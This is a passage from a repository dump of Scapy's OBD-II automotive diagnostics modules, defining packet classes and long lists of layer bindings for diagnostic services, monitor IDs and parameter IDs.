PacketListField(\"data_records\", [], OBD_S06_PR_Record)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S06) \\\n            and all(r.mid in other.mid for r in self.data_records)\n\n\nbind_layers(OBD_S06_PR_Record, OBD_MID00, mid=0x00)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x01)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x02)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x03)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x04)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x05)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x06)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x07)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x08)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x09)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0A)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0B)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0C)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0D)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0E)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0F)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x10)\nbind_layers(OBD_S06_PR_Record, OBD_MID20, mid=0x20)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x21)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x22)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x23)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x24)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x32)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x33)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x34)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x35)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x36)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x37)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x38)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x39)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3A)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3B)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3C)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3D)\nbind_layers(OBD_S06_PR_Record, OBD_MID40, mid=0x40)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x41)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x42)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x43)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x44)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x45)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x46)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x47)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x48)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x49)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4A)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4B)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4C)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4D)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4E)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4F)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x50)\nbind_layers(OBD_S06_PR_Record, OBD_MID60, mid=0x60)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x61)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x62)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x63)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x64)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x71)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x72)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x73)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x74)\nbind_layers(OBD_S06_PR_Record, OBD_MID80, mid=0x80)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x81)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x82)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x83)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x84)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x85)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x86)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x90)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x91)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x98)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x99)\nbind_layers(OBD_S06_PR_Record, OBD_MIDA0, mid=0xA0)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA1)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA2)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA3)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA4)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA5)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA6)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA7)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA8)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA9)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAA)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAB)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAC)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAD)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB0)\nbind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB1)\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/obd.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = On Board Diagnostic Protocol (OBD-II)\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom scapy.contrib.automotive.obd.iid.iids import *\nfrom scapy.contrib.automotive.obd.mid.mids import *\nfrom scapy.contrib.automotive.obd.pid.pids import *\nfrom scapy.contrib.automotive.obd.tid.tids import *\nfrom scapy.contrib.automotive.obd.services import *\nfrom scapy.packet import bind_layers, NoPayload\nfrom scapy.config import conf\nfrom scapy.fields import XByteEnumField\nfrom scapy.contrib.isotp import ISOTP\n\ntry:\n    if conf.contribs['OBD']['treat-response-pending-as-answer']:\n        pass\nexcept KeyError:\n    # log_automotive.info(\"Specify \\\"conf.contribs['OBD'] = \"\n    #                     \"{'treat-response-pending-as-answer': True}\\\" to treat \"\n    #                     \"a negative response 'requestCorrectlyReceived-\"\n    #                     \"ResponsePending' as answer of a request. \\n\"\n    #                     \"The default value is False.\")\n    conf.contribs['OBD'] = {'treat-response-pending-as-answer': False}\n\n\nclass OBD(ISOTP):\n    services = {\n        0x01: 'CurrentPowertrainDiagnosticDataRequest',\n        0x02: 'PowertrainFreezeFrameDataRequest',\n        0x03: 'EmissionRelatedDiagnosticTroubleCodesRequest',\n        0x04: 'ClearResetDiagnosticTroubleCodesRequest',\n        0x05: 'OxygenSensorMonitoringTestResultsRequest',\n        0x06: 'OnBoardMonitoringTestResultsRequest',\n        0x07: 'PendingEmissionRelatedDiagnosticTroubleCodesRequest',\n        0x08: 'ControlOperationRequest',\n        0x09: 'VehicleInformationRequest',\n        0x0A: 'PermanentDiagnosticTroubleCodesRequest',\n        0x41: 'CurrentPowertrainDiagnosticDataResponse',\n        0x42: 'PowertrainFreezeFrameDataResponse',\n        0x43: 'EmissionRelatedDiagnosticTroubleCodesResponse',\n        0x44: 'ClearResetDiagnosticTroubleCodesResponse',\n        0x45: 'OxygenSensorMonitoringTestResultsResponse',\n        0x46: 'OnBoardMonitoringTestResultsResponse',\n        0x47: 'PendingEmissionRelatedDiagnosticTroubleCodesResponse',\n        0x48: 'ControlOperationResponse',\n        0x49: 'VehicleInformationResponse',\n        0x4A: 'PermanentDiagnosticTroubleCodesResponse',\n        0x7f: 'NegativeResponse'}\n\n    name = \"On-board diagnostics\"\n\n    fields_desc = [\n        XByteEnumField('service', 0, services)\n    ]\n\n    def hashret(self):\n        if self.service == 0x7f:\n            return struct.pack('B', self.request_service_id & ~0x40)\n        return struct.pack('B', self.service & ~0x40)\n\n    def answers(self, other):\n        if other.__class__ != self.__class__:\n            return False\n        if self.service == 0x7f:\n            return self.payload.answers(other)\n        if self.service == (other.service + 0x40):\n            if isinstance(self.payload, NoPayload) or \\\n                    isinstance(other.payload, NoPayload):\n                return True\n            else:\n                return self.payload.answers(other.payload)\n        return False\n\n\n# Service Bindings\n\nbind_layers(OBD, OBD_S01, service=0x01)\nbind_layers(OBD, OBD_S02, service=0x02)\nbind_layers(OBD, OBD_S03, service=0x03)\nbind_layers(OBD, OBD_S04, service=0x04)\nbind_layers(OBD, OBD_S06, service=0x06)\nbind_layers(OBD, OBD_S07, service=0x07)\nbind_layers(OBD, OBD_S08, service=0x08)\nbind_layers(OBD, OBD_S09, service=0x09)\nbind_layers(OBD, OBD_S0A, service=0x0A)\n\nbind_layers(OBD, OBD_S01_PR, service=0x41)\nbind_layers(OBD, OBD_S02_PR, service=0x42)\nbind_layers(OBD, OBD_S03_PR, service=0x43)\nbind_layers(OBD, OBD_S04_PR, service=0x44)\nbind_layers(OBD, OBD_S06_PR, service=0x46)\nbind_layers(OBD, OBD_S07_PR, service=0x47)\nbind_layers(OBD, OBD_S08_PR, service=0x48)\nbind_layers(OBD, OBD_S09_PR, service=0x49)\nbind_layers(OBD, OBD_S0A_PR, service=0x4A)\nbind_layers(OBD, OBD_NR, service=0x7F)\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/packet.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.packet import Packet\n\n\nclass OBD_Packet(Packet):\n    def extract_padding(self, s):\n        return '', s\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive obd specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import PacketListField\n\nfrom scapy.contrib.automotive.obd.services import OBD_S01, OBD_S02\nfrom scapy.contrib.automotive.obd.pid.pids_00_1F import *\nfrom scapy.contrib.automotive.obd.pid.pids_20_3F import *\nfrom scapy.contrib.automotive.obd.pid.pids_40_5F import *\nfrom scapy.contrib.automotive.obd.pid.pids_60_7F import *\nfrom scapy.contrib.automotive.obd.pid.pids_80_9F import *\nfrom scapy.contrib.automotive.obd.pid.pids_A0_C0 import *\n\n\nclass OBD_S01_PR_Record(Packet):\n    fields_desc = [\n        XByteField(\"pid\", 0),\n    ]\n\n\nclass OBD_S01_PR(Packet):\n    name = \"Parameter IDs\"\n    fields_desc = [\n        PacketListField(\"data_records\", [], OBD_S01_PR_Record)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S01) \\\n            and all(r.pid in other.pid for r in self.data_records)\n\n\nclass OBD_S02_PR_Record(Packet):\n    fields_desc = [\n        XByteField(\"pid\", 0),\n        XByteField(\"frame_no\", 0),\n    ]\n\n\nclass OBD_S02_PR(Packet):\n    name = \"Parameter IDs\"\n    fields_desc = [\n        PacketListField(\"data_records\", [], OBD_S02_PR_Record)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S02) \\\n            and all(r.pid in [o.pid for o in other.requests]\n                    for r in self.data_records)\n\n\nbind_layers(OBD_S01_PR_Record, OBD_PID00, pid=0x00)\nbind_layers(OBD_S01_PR_Record, OBD_PID01, pid=0x01)\nbind_layers(OBD_S01_PR_Record, OBD_PID02, pid=0x02)\nbind_layers(OBD_S01_PR_Record, OBD_PID03, pid=0x03)\nbind_layers(OBD_S01_PR_Record, OBD_PID04, pid=0x04)\nbind_layers(OBD_S01_PR_Record, OBD_PID05, pid=0x05)\nbind_layers(OBD_S01_PR_Record, OBD_PID06, pid=0x06)\nbind_layers(OBD_S01_PR_Record, OBD_PID07, pid=0x07)\nbind_layers(OBD_S01_PR_Record, OBD_PID08, pid=0x08)\nbind_layers(OBD_S01_PR_Record, OBD_PID09, pid=0x09)\nbind_layers(OBD_S01_PR_Record, OBD_PID0A, pid=0x0A)\nbind_layers(OBD_S01_PR_Record, OBD_PID0B, pid=0x0B)\nbind_layers(OBD_S01_PR_Record, OBD_PID0C, pid=0x0C)\nbind_layers(OBD_S01_PR_Record, OBD_PID0D, pid=0x0D)\nbind_layers(OBD_S01_PR_Record, OBD_PID0E, pid=0x0E)\nbind_layers(OBD_S01_PR_Record, OBD_PID0F, pid=0x0F)\nbind_layers(OBD_S01_PR_Record, OBD_PID10, pid=0x10)\nbind_layers(OBD_S01_PR_Record, OBD_PID11, pid=0x11)\nbind_layers(OBD_S01_PR_Record, OBD_PID12, pid=0x12)\nbind_layers(OBD_S01_PR_Record, OBD_PID13, pid=0x13)\nbind_layers(OBD_S01_PR_Record, OBD_PID14, pid=0x14)\nbind_layers(OBD_S01_PR_Record, OBD_PID15, pid=0x15)\nbind_layers(OBD_S01_PR_Record, OBD_PID16, pid=0x16)\nbind_layers(OBD_S01_PR_Record, OBD_PID17, pid=0x17)\nbind_layers(OBD_S01_PR_Record, OBD_PID18, pid=0x18)\nbind_layers(OBD_S01_PR_Record, OBD_PID19, pid=0x19)\nbind_layers(OBD_S01_PR_Record, OBD_PID1A, pid=0x1A)\nbind_layers(OBD_S01_PR_Record, OBD_PID1B, pid=0x1B)\nbind_layers(OBD_S01_PR_Record, OBD_PID1C, pid=0x1C)\nbind_layers(OBD_S01_PR_Record, OBD_PID1D, pid=0x1D)\nbind_layers(OBD_S01_PR_Record, OBD_PID1E, pid=0x1E)\nbind_layers(OBD_S01_PR_Record, OBD_PID1F, pid=0x1F)\nbind_layers(OBD_S01_PR_Record, OBD_PID20, pid=0x20)\nbind_layers(OBD_S01_PR_Record, OBD_PID21, pid=0x21)\nbind_layers(OBD_S01_PR_Record, OBD_PID22, pid=0x22)\nbind_layers(OBD_S01_PR_Record, OBD_PID23, pid=0x23)\nbind_layers(OBD_S01_PR_Record, OBD_PID24, pid=0x24)\nbind_layers(OBD_S01_PR_Record, OBD_PID25, pid=0x25)\nbind_layers(OBD_S01_PR_Record, OBD_PID26, pid=0x26)\nbind_layers(OBD_S01_PR_Record, OBD_PID27, pid=0x27)\nbind_layers(OBD_S01_PR_Record, OBD_PID28, pid=0x28)\nbind_layers(OBD_S01_PR_Record, OBD_PID29, pid=0x29)\nbind_layers(OBD_S01_PR_Record, OBD_PID2A, pid=0x2A)\nbind_layers(OBD_S01_PR_Record, OBD_PID2B, pid=0x2B)\nbind_layers(OBD_S01_PR_Record, OBD_PID2C, pid=0x2C)\nbind_layers(OBD_S01_PR_Record, OBD_PID2D, pid=0x2D)\nbind_layers(OBD_S01_PR_Record, OBD_PID2E, pid=0x2E)\nbind_layers(OBD_S01_PR_Record, OBD_PID2F, pid=0x2F)\nbind_layers(OBD_S01_PR_Record, OBD_PID30, pid=0x30)\nbind_layers(OBD_S01_PR_Record, OBD_PID31, pid=0x31)\nbind_layers(OBD_S01_PR_Record, OBD_PID32, pid=0x32)\nbind_layers(OBD_S01_PR_Record, OBD_PID33, pid=0x33)\nbind_layers(OBD_S01_PR_Record, OBD_PID34, pid=0x34)\nbind_layers(OBD_S01_PR_Record, OBD_PID35, pid=0x35)\nbind_layers(OBD_S01_PR_Record, OBD_PID36, pid=0x36)\nbind_layers(OBD_S01_PR_Record, OBD_PID37, pid=0x37)\nbind_layers(OBD_S01_PR_Record, OBD_PID38, pid=0x38)\nbind_layers(OBD_S01_PR_Record, OBD_PID39, pid=0x39)\nbind_layers(OBD_S01_PR_Record, OBD_PID3A, pid=0x3A)\nbind_layers(OBD_S01_PR_Record, OBD_PID3B, pid=0x3B)\nbind_layers(OBD_S01_PR_Record, OBD_PID3C, pid=0x3C)\nbind_layers(OBD_S01_PR_Record, OBD_PID3D, pid=0x3D)\nbind_layers(OBD_S01_PR_Record, OBD_PID3E, pid=0x3E)\nbind_layers(OBD_S01_PR_Record, OBD_PID3F, pid=0x3F)\nbind_layers(OBD_S01_PR_Record, OBD_PID40, pid=0x40)\nbind_layers(OBD_S01_PR_Record, OBD_PID41, pid=0x41)\nbind_layers(OBD_S01_PR_Record, OBD_PID42, pid=0x42)\nbind_layers(OBD_S01_PR_Record, OBD_PID43, pid=0x43)\nbind_layers(OBD_S01_PR_Record, OBD_PID44, pid=0x44)\nbind_layers(OBD_S01_PR_Record, OBD_PID45, pid=0x45)\nbind_layers(OBD_S01_PR_Record, OBD_PID46, pid=0x46)\nbind_layers(OBD_S01_PR_Record, OBD_PID47, pid=0x47)\nbind_layers(OBD_S01_PR_Record, OBD_PID48, pid=0x48)\nbind_layers(OBD_S01_PR_Record, OBD_PID49, pid=0x49)\nbind_layers(OBD_S01_PR_Record, OBD_PID4A, pid=0x4A)\nbind_layers(OBD_S01_PR_Record, OBD_PID4B, pid=0x4B)\nbind_layers(OBD_S01_PR_Record, OBD_PID4C, pid=0x4C)\nbind_layers(OBD_S01_PR_Record, OBD_PID4D, pid=0x4D)\nbind_layers(OBD_S01_PR_Record, OBD_PID4E, pid=0x4E)\nbind_layers(OBD_S01_PR_Record, OBD_PID4F, pid=0x4F)\nbind_layers(OBD_S01_PR_Record, OBD_PID50, pid=0x50)\nbind_layers(OBD_S01_PR_Record, OBD_PID51, pid=0x51)\nbind_layers(OBD_S01_PR_Record, OBD_PID52, pid=0x52)\nbind_layers(OBD_S01_PR_Record, OBD_PID53, pid=0x53)\nbind_layers(OBD_S01_PR_Record, OBD_PID54, pid=0x54)\nbind_layers(OBD_S01_PR_Record, OBD_PID55, pid=0x55)\nbind_layers(OBD_S01_PR_Record, OBD_PID56, pid=0x56)\nbind_layers(OBD_S01_PR_Record, OBD_PID57, pid=0x57)\nbind_layers(OBD_S01_PR_Record, OBD_PID58, pid=0x58)\nbind_layers(OBD_S01_PR_Record, OBD_PID59, pid=0x59)\nbind_layers(OBD_S01_PR_Record, OBD_PID5A, pid=0x5A)\nbind_layers(OBD_S01_PR_Record, OBD_PID5B, pid=0x5B)\nbind_layers(OBD_S01_PR_Record, OBD_PID5C, pid=0x5C)\nbind_layers(OBD_S01_PR_Record, OBD_PID5D, pid=0x5D)\nbind_layers(OBD_S01_PR_Record, OBD_PID5E, pid=0x5E)\nbind_layers(OBD_S01_PR_Record, OBD_PID5F, pid=0x5F)\nbind_layers(OBD_S01_PR_Record, OBD_PID60, pid=0x60)\nbind_layers(OBD_S01_PR_Record, OBD_PID61, pid=0x61)\nbind_layers(OBD_S01_PR_Record, OBD_PID62, pid=0x62)\nbind_layers(OBD_S01_PR_Record, OBD_PID63, pid=0x63)\nbind_layers(OBD_S01_PR_Record, OBD_PID64, pid=0x64)\nbind_layers(OBD_S01_PR_Record, OBD_PID65, pid=0x65)\nbind_layers(OBD_S01_PR_Record, OBD_PID66, pid=0x66)\nbind_layers(OBD_S01_PR_Record, OBD_PID67, pid=0x67)\nbind_layers(OBD_S01_PR_Record, OBD_PID68, pid=0x68)\nbind_layers(OBD_S01_PR_Record, OBD_PID69, pid=0x69)\nbind_layers(OBD_S01_PR_Record, OBD_PID6A, pid=0x6A)\nbind_layers(OBD_S01_PR_Record, OBD_PID6B, pid=0x6B)\nbind_layers(OBD_S01_PR_Record, OBD_PID6C, pid=0x6C)\nbind_layers(OBD_S01_PR_Record, OBD_PID6D, pid=0x6D)\nbind_layers(OBD_S01_PR_Record, OBD_PID6E, pid=0x6E)\nbind_layers(OBD_S01_PR_Record, OBD_PID6F, pid=0x6F)\nbind_layers(OBD_S01_PR_Record, OBD_PID70, pid=0x70)\nbind_layers(OBD_S01_PR_Record, OBD_PID71, pid=0x71)\nbind_layers(OBD_S01_PR_Record, OBD_PID72, pid=0x72)\nbind_layers(OBD_S01_PR_Record, OBD_PID73, pid=0x73)\nbind_layers(OBD_S01_PR_Record, OBD_PID74, pid=0x74)\nbind_layers(OBD_S01_PR_Record, OBD_PID75, pid=0x75)\nbind_layers(OBD_S01_PR_Record, OBD_PID76, pid=0x76)\nbind_layers(OBD_S01_PR_Record, OBD_PID77, pid=0x77)\nbind_layers(OBD_S01_PR_Record, OBD_PID78, pid=0x78)\nbind_layers(OBD_S01_PR_Record, OBD_PID79, pid=0x79)\nbind_layers(OBD_S01_PR_Record, OBD_PID7A, pid=0x7A)\nbind_layers(OBD_S01_PR_Record, OBD_PID7B, pid=0x7B)\nbind_layers(OBD_S01_PR_Record, OBD_PID7C, pid=0x7C)\nbind_layers(OBD_S01_PR_Record, OBD_PID7D, pid=0x7D)\nbind_layers(OBD_S01_PR_Record, OBD_PID7E, pid=0x7E)\nbind_layers(OBD_S01_PR_Record, OBD_PID7F, pid=0x7F)\nbind_layers(OBD_S01_PR_Record, OBD_PID80, pid=0x80)\nbind_layers(OBD_S01_PR_Record, OBD_PID81, pid=0x81)\nbind_layers(OBD_S01_PR_Record, OBD_PID82, pid=0x82)\nbind_layers(OBD_S01_PR_Record, OBD_PID83, pid=0x83)\nbind_layers(OBD_S01_PR_Record, OBD_PID84, pid=0x84)\nbind_layers(OBD_S01_PR_Record, OBD_PID85, pid=0x85)\nbind_layers(OBD_S01_PR_Record, OBD_PID86, pid=0x86)\nbind_layers(OBD_S01_PR_Record, OBD_PID87, pid=0x87)\nbind_layers(OBD_S01_PR_Record, OBD_PID88, pid=0x88)\nbind_layers(OBD_S01_PR_Record, OBD_PID89, pid=0x89)\nbind_layers(OBD_S01_PR_Record, OBD_PID8A, pid=0x8A)\nbind_layers(OBD_S01_PR_Record, OBD_PID8B, pid=0x8B)\nbind_layers(OBD_S01_PR_Record, OBD_PID8C, pid=0x8C)\nbind_layers(OBD_S01_PR_Record, OBD_PID8D, pid=0x8D)\nbind_layers(OBD_S01_PR_Record, OBD_PID8E, pid=0x8E)\nbind_layers(OBD_S01_PR_Record, OBD_PID8F, pid=0x8F)\nbind_layers(OBD_S01_PR_Record, OBD_PID90, pid=0x90)\nbind_layers(OBD_S01_PR_Record, OBD_PID91, pid=0x91)\nbind_layers(OBD_S01_PR_Record, OBD_PID92, pid=0x92)\nbind_layers(OBD_S01_PR_Record, OBD_PID93, pid=0x93)\nbind_layers(OBD_S01_PR_Record, OBD_PID94, pid=0x94)\nbind_layers(OBD_S01_PR_Record, OBD_PID98, pid=0x98)\nbind_layers(OBD_S01_PR_Record, OBD_PID99, pid=0x99)\nbind_layers(OBD_S01_PR_Record, OBD_PID9A, pid=0x9A)\nbind_layers(OBD_S01_PR_Record, OBD_PID9B, pid=0x9B)\nbind_layers(OBD_S01_PR_Record, OBD_PID9C, pid=0x9C)\nbind_layers(OBD_S01_PR_Record, OBD_PID9D, pid=0x9D)\nbind_layers(OBD_S01_PR_Record, OBD_PID9E, pid=0x9E)\nbind_layers(OBD_S01_PR_Record, OBD_PID9F, pid=0x9F)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA0, pid=0xA0)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA1, pid=0xA1)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA2, pid=0xA2)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA3, pid=0xA3)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA4, pid=0xA4)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA5, pid=0xA5)\nbind_layers(OBD_S01_PR_Record, OBD_PIDA6, pid=0xA6)\nbind_layers(OBD_S01_PR_Record, OBD_PIDC0, pid=0xC0)\n\n\n# Service 2\n\nbind_layers(OBD_S02_PR_Record, OBD_PID00, pid=0x00)\nbind_layers(OBD_S02_PR_Record, OBD_PID01, pid=0x01)\nbind_layers(OBD_S02_PR_Record, OBD_PID02, pid=0x02)\nbind_layers(OBD_S02_PR_Record, OBD_PID03, pid=0x03)\nbind_layers(OBD_S02_PR_Record, OBD_PID04, pid=0x04)\nbind_layers(OBD_S02_PR_Record, OBD_PID05, pid=0x05)\nbind_layers(OBD_S02_PR_Record, OBD_PID06, pid=0x06)\nbind_layers(OBD_S02_PR_Record, OBD_PID07, pid=0x07)\nbind_layers(OBD_S02_PR_Record, OBD_PID08, pid=0x08)\nbind_layers(OBD_S02_PR_Record, OBD_PID09, pid=0x09)\nbind_layers(OBD_S02_PR_Record, OBD_PID0A, pid=0x0A)\nbind_layers(OBD_S02_PR_Record, OBD_PID0B, pid=0x0B)\nbind_layers(OBD_S02_PR_Record, OBD_PID0C, pid=0x0C)\nbind_layers(OBD_S02_PR_Record, OBD_PID0D, pid=0x0D)\nbind_layers(OBD_S02_PR_Record, OBD_PID0E, pid=0x0E)\nbind_layers(OBD_S02_PR_Record, OBD_PID0F, pid=0x0F)\nbind_layers(OBD_S02_PR_Record, OBD_PID10, pid=0x10)\nbind_layers(OBD_S02_PR_Record, OBD_PID11, pid=0x11)\nbind_layers(OBD_S02_PR_Record, OBD_PID12, pid=0x12)\nbind_layers(OBD_S02_PR_Record, OBD_PID13, pid=0x13)\nbind_layers(OBD_S02_PR_Record, OBD_PID14, pid=0x14)\nbind_layers(OBD_S02_PR_Record, OBD_PID15, pid=0x15)\nbind_layers(OBD_S02_PR_Record, OBD_PID16, pid=0x16)\nbind_layers(OBD_S02_PR_Record, OBD_PID17, pid=0x17)\nbind_layers(OBD_S02_PR_Record, OBD_PID18, pid=0x18)\nbind_layers(OBD_S02_PR_Record, OBD_PID19, pid=0x19)\nbind_layers(OBD_S02_PR_Record, OBD_PID1A, pid=0x1A)\nbind_layers(OBD_S02_PR_Record, OBD_PID1B, pid=0x1B)\nbind_layers(OBD_S02_PR_Record, OBD_PID1C, pid=0x1C)\nbind_layers(OBD_S02_PR_Record, OBD_PID1D, pid=0x1D)\nbind_layers(OBD_S02_PR_Record, OBD_PID1E, pid=0x1E)\nbind_layers(OBD_S02_PR_Record, OBD_PID1F, pid=0x1F)\nbind_layers(OBD_S02_PR_Record, OBD_PID20, pid=0x20)\nbind_layers(OBD_S02_PR_Record, OBD_PID21, pid=0x21)\nbind_layers(OBD_S02_PR_Record, OBD_PID22, pid=0x22)\nbind_layers(OBD_S02_PR_Record, OBD_PID23, pid=0x23)\nbind_layers(OBD_S02_PR_Record, OBD_PID24, pid=0x24)\nbind_layers(OBD_S02_PR_Record, OBD_PID25, pid=0x25)\nbind_layers(OBD_S02_PR_Record, OBD_PID26, pid=0x26)\nbind_layers(OBD_S02_PR_Record, OBD_PID27, pid=0x27)\nbind_layers(OBD_S02_PR_Record, OBD_PID28, pid=0x28)\nbind_layers(OBD_S02_PR_Record, OBD_PID29, pid=0x29)\nbind_layers(OBD_S02_PR_Record, OBD_PID2A, pid=0x2A)\nbind_layers(OBD_S02_PR_Record, OBD_PID2B, pid=0x2B)\nbind_layers(OBD_S02_PR_Record, OBD_PID2C, pid=0x2C)\nbind_layers(OBD_S02_PR_Record, OBD_PID2D, pid=0x2D)\nbind_layers(OBD_S02_PR_Record, OBD_PID2E, pid=0x2E)\nbind_layers(OBD_S02_PR_Record, OBD_PID2F, pid=0x2F)\nbind_layers(OBD_S02_PR_Record, OBD_PID30, pid=0x30)\nbind_layers(OBD_S02_PR_Record, OBD_PID31, pid=0x31)\nbind_layers(OBD_S02_PR_Record, OBD_PID32, pid=0x32)\nbind_layers(OBD_S02_PR_Record, OBD_PID33, pid=0x33)\nbind_layers(OBD_S02_PR_Record, OBD_PID34, pid=0x34)\nbind_layers(OBD_S02_PR_Record, OBD_PID35, pid=0x35)\nbind_layers(OBD_S02_PR_Record, OBD_PID36, pid=0x36)\nbind_layers(OBD_S02_PR_Record, OBD_PID37, pid=0x37)\nbind_layers(OBD_S02_PR_Record, OBD_PID38, 